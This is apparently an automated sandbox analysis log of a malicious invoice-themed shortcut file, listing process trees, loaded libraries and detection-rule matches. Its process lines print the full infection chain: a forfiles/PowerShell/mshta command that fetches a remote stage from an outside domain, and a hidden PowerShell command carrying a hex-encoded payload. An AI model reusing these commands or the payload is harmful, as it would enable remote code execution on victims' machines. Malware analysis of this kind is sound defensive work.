Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678696144	12_2_00007FF678696144
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67865E3A0	12_2_00007FF67865E3A0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E6374	12_2_00007FF6785E6374
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678690484	12_2_00007FF678690484
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785FA440	12_2_00007FF6785FA440
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678646590	12_2_00007FF678646590
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67864E540	12_2_00007FF67864E540
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67868E5FC	12_2_00007FF67868E5FC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D85D0	12_2_00007FF6785D85D0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785EA680	12_2_00007FF6785EA680
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6786B8678	12_2_00007FF6786B8678
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678690670	12_2_00007FF678690670
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785E2700	12_2_00007FF6785E2700
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF678698748	12_2_00007FF678698748
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67865A830	12_2_00007FF67865A830
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785F882D	12_2_00007FF6785F882D
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67862E7D0	12_2_00007FF67862E7D0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67869085C	12_2_00007FF67869085C

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF678625360 appears 66 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF67869B8AC appears 457 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF6785FC110 appears 48 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF67861A3A0 appears 38 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF67860CD00 appears 40 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF678626360 appears 62 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF67869FC60 appears 60 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF67864A5D0 appears 78 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF6786A2CE8 appears 33 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF678612890 appears 137 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF67864BFC0 appears 36 times
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: String function: 00007FF67860CC30 appears 150 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: Process Memory Space: powershell.exe PID: 4620, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: powershell.exe, 00000007.00000002.1770606726.000001FB69820000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: .CMD;.VBpt

Source: classification engine

Classification label: mal100.evad.winLNK@27/54@1/3

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF678617AD0 FormatMessageA,GetLastError,

12_2_00007FF678617AD0

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6785FAA80 CoCreateInstance,

12_2_00007FF6785FAA80

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6785DD100 GetProcAddress,FreeLibrary,FindResourceA,SizeofResource,LoadResource,LockResource,

12_2_00007FF6785DD100

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\invoiceupsstage[1]

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5868:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cykvzpzj.1pm.ps1

Jump to behavior

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\forfiles.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Invoice-UPS-218931.pdf.lnk.mal.lnk

ReversingLabs: Detection: 21%

Source: putty.exe	String found in binary or memory: config-serial-stopbits
Source: putty.exe	String found in binary or memory: config-ssh-portfwd-address-family
Source: putty.exe	String found in binary or memory: config-address-family

Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\upsinvoice.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2068 --field-trial-handle=1612,i,8777765815647240149,11795078331004045366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\upsinvoice.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2068 --field-trial-handle=1612,i,8777765815647240149,11795078331004045366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
